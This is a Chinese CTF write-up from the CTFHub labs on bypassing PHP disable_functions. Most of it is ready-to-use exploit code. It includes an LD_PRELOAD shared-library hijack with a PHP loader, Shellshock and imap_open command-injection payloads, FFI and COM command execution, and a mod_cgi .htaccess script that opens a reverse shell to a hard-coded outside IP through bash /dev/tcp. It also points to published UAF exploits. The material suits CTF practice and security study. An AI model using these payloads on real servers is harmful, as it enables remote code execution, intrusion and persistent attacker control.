Bypass disable_function【CTFHUB】

LD_PRELOAD

LD_PRELOAD是Linux下的环境变量

它的本意是,允许程序优先加载指定的动态库。这样能够选择不同的动态库中的相同的函数或者变量。 使用场景是:当使用别人提供的动态库,发现其中某些函数实现不合理。但不能要求别人为你修改源代码并重新生成动态库。在这种情况下,使用LD_PRELOAD可以使用自定义的代码替换别人动态库中的部分代码。

利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。

利用条件:

1. 能够上传自己的.so文件

2. 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

3. 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

即:
首先我们要有上传的权限,上传的是恶意的.so文件。
然后要能够设置LD_PRELOAD这个环境变量为恶意 *.so的路径,一般都是用putenv函数设置环境变量的。
最后就是调用未被ban的函数,而该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了。

比如说mail()函数会调用系统中的sendmail函数,而由于LD_PRELOAD变量指定优先加载恶意.so文件中的sendmail函数,导致覆盖了系统的sendmail函数,这样就会执行恶意sendmail函数的恶意代码



放上GitHub上大佬的项目:bypass disable_functions via LD_PRELOAD
原理(我讲不来…)在里面讲的很详细,相关EXP也在其中

当然主要就是两个文件了:1. 一个c文件生成.so;2. 一个php文件
你可以直接到GitHub上下载,也可以用下面两大段代码生成~

1. 编写C文件:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

用上面的C代码在Linux中执行命令生成.so文件:

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

2. 以下保存为:bypass_disablefunc.php文件:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");	//调用了mail函数以加载恶意.so文件

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

得到两个文件后开始操作
先连接上蚁剑(一句话),并找一个上传点,此处我选择/tmp路径,然后上传

在这里插入图片描述

http://challenge-2b0bbc9ba33f8af7.sandbox.ctfhub.com:10080/?ant=eval($_GET[1]);&1=include(%27/tmp/shell.php%27);&cmd=/readflag&outpath=/tmp/1.txt&sopath=/tmp/bypass_disablefunc_x64.so

发现无回显,原来是mail()是没有调用成功
在这里插入图片描述
因为mail函数被过滤,但是mail()、imap_mail()、mb_send_mail()和error_log()等都是可供选择的。
在这里插入图片描述
打开上传处的php文件,这里往php文件中添加error_log()函数:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline); #设置环境变量

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    error_log("",1,"",""); #添加 error_log()
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

再次执行,发现浏览器回显成功,GETFLAG!

http://challenge-2b0bbc9ba33f8af7.sandbox.ctfhub.com:10080/?ant=eval($_GET[1]);&1=include(%27/tmp/shell.php%27);&cmd=/readflag&outpath=/tmp/1.txt&sopath=/tmp/bypass_disablefunc_x64.so




此外还可以利用插件实现,创建副本,编辑数据,将名称改为.antproxy.php保存,新产生的副本即可直接getshell
在这里插入图片描述



Shellshock

Shellshock漏洞回顾与分析测试

bash在处理含有函数定义诸如( ) { :; }环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行

设法让系统接受一个含有[函数定义]+[任意命令]的环境变量赋值则可触发 [任意命令] 部分所表示的代码执行。

触发漏洞的条件:

  1. 产生新的bash
  2. 通过环境变量传递
  3. 环境变量以() {}这样的形式

比如以下EXP:输出了vulnerable代表有漏洞

#!bash
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

# 输出:Vulnerable this is a test

(){ } 在bash中,是环境变量来定义函数的方法
bash中相当于python中的pass占位符
echo vulnerable 即因为漏洞所执行的代码
bash -c "echo this is a test "在这儿作用是产生新的bash进程,设置完环境变量后再次打开bash进程就会载入之前的环境变量从而触发代码执行

bash中定义函数一般是:

#!bash
function hello {
 echo "Hello"
}
hello    # 调用这个函数

但也有环境变量定义函数的方法,是bash独有的。

如果环境变量的值以字符() {开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。

#!bash
$ export HELLO="() { echo 'Hello'; }"
$ HELLO
-bash: HELLO: command not found
$ bash
$ HELLO
Hello

本题由于无法在终端执行命令,通过上传文件并访问的方式触发

<?php
$cmd = " tac /flag>/var/www/html/1.txt";
putenv("PHP_DMIND=() { :; };$cmd");		//设置环境变量

error_log("dmind",1); //新进程,用mail也可以
echo file_get_contents("/var/www/html/1.txt");
?>

(本题环境有问题蚁剑连不上去,就不演示了)

Apache Mod CGI

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

利用条件:

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

可以直接利用蚁剑的插件:
在这里插入图片描述

也可以手动解:

一个可以反弹shell的EXP:

<?php
$cmd = "bash -i >& /dev/tcp/119.29.60.71/2333 0>&1"; //command to be executed    "nc -c '/bin/bash' 10.11.12.13 8888"
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

作为PHP文件上传。然后访问这个文件后就会生成一个.htaccess文件和一个shell.dizzle文件。访问shell.dizzle即可反弹shell了
在这里插入图片描述

值得注意.htaccess文件的内容:

Options +ExecCGI
AddHandler cgi-script .dizzle

Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。

我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本

意思以cgi脚本的形式执行任何后缀为dizzle的文件

shell.dizzle文件内容:写入命令

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
bash -i >& /dev/tcp/119.29.60.71/2333 0>&1  



PHP-FPM

这里由于FPM默认监听的是9000端口,我们就可以绕过webserver,直接构造fastcgi协议,和fpm进行通信.于是就有了利用 webshell 直接与 FPM通信 来绕过 disable functions.

Nginx+Php-fpm 运行原理详解
攻击PHP-FPM 实现Bypass Disable Functions
php-fpm绕过disable function拿下菠菜

Fastcgi是cgi的升级版,为了解决不同的语言解释器(如php、python解释器)与webserver的通信,只要你按照fastcgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-Fastcgi程序就是一个cgi程序,只会解析PHP请求并返回结果,但不会管理因此出现PHP-FPM

PHP-FPM即php-Fastcgi Process Manager(php-Fastcgi进程管理器)
PHP-FPM是一个Fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据。具体的它会创建一个主进程,控制何时以及如何将HTTP请求转发给一个或多个子进程处理

动态页面的请求流程:

www.example.com/index.php
        |
        |
      nginx
        |
        |
加载nginx的fast-cgi模块
        |
        |
fast-cgi对根据fast-cgi协议请求包进行封装,然后将封装好的包发给php-fpm
        |
        |
php-fpm 据fast-cgi协议将TCP流解析成真正的数据,调用php文件
        |
        |
php-fpm处理完请求,返回给nginx
        |
        |
nginx将结果通过http返回给浏览器

webserver按照Fastcgi协议将请求包重新封装,再发给PHP-FPM程序,PHP-FPM

PHP-FPM是一个Fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据,




用蚁剑的插件来做原理可看php-fpm绕过disable function拿下菠菜
选择Fastcgi/PHP模式,地址选择127的或者localhost的都行
在这里插入图片描述
点击”开始“ 然后显示代理脚本上传成功,上传了/var/www/html/.antproxy.php,然后我们创建副本并修改数据保存。在此打开这个副本即可getshell
在这里插入图片描述


UAF(use after free)

即:释放重引用漏洞

GC UAF

利用的是PHP Garbage Collector程序中的堆溢出触发,影响范围为7.0-1.3

用蚁剑:
在这里插入图片描述

手动用EXP直接上传:
在这里插入图片描述

GC EXP
pwn($_POST["pass"]);修改命令

<?php
# Author: https://github.com/mm0r1

pwn($_POST["pass"]);//修改命令   "ls"
...........
Json Serializer UAF

漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843

7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)

手动上传
php-json-bypass EXP

<?php

$cmd = "/readflag"; //修改命令

$n_alloc = 10; # increase this value if you get segfaults
........

蚁剑插件:
在这里插入图片描述

Backtrace UAF

漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047

7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)

Backtrace EXP

直接用蚁剑插件吧…



FFI

FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。当PHP所有的命令执行函数被禁用后,通过PHP 7.4的新特性FFI可以实现用PHP代码调用C代码的方式,先声明C中的命令执行函数然后再通过FFI变量调用该C函数即可Bypass disable_functions

利用条件:

  1. PHP >= 7.4
  2. 开启了 FFI 扩展且 ffi.enable=true

EXP:

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami > /tmp/666");	
echo file_get_contents("/tmp/666");
@unlink("/tmp/666");

FFI :: cdef 用于创建一个新的FFI对象,下面代码导入的是C语言的system函数,第二个参数缺省则默认是加载标准库,当然也可以通过第二个参数指定库

$ffi = FFI::cdef("int system(const char *command);");

将EXP上传并访问即可触发:
在这里插入图片描述

在这里插入图片描述
也可以蚁剑插件
在这里插入图片描述

后记

还看到别的Bypass方式,但没有现成靶场就懒得复现了,单纯记录一下
在这里插入图片描述

ImageMagick

条件:imageMagick 版本 v6.9.3-9 或 v7.0.1-0
imagemagick是一个用于处理图片的程序,如果上传的图片含有攻击代码,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令(CVE-2016–3714)

com组件

1.com.allow_dcom = true
2.extension=php_com_dotnet.dll
3.php>5.4
4.目标服务器为Windows系统

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
imap_open()

CVE-2018-19518

<?php
error_reporting(0);
if (!function_exists('imap_open')) {
        die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or var_dump("\n\nError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");

在这里插入图片描述

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值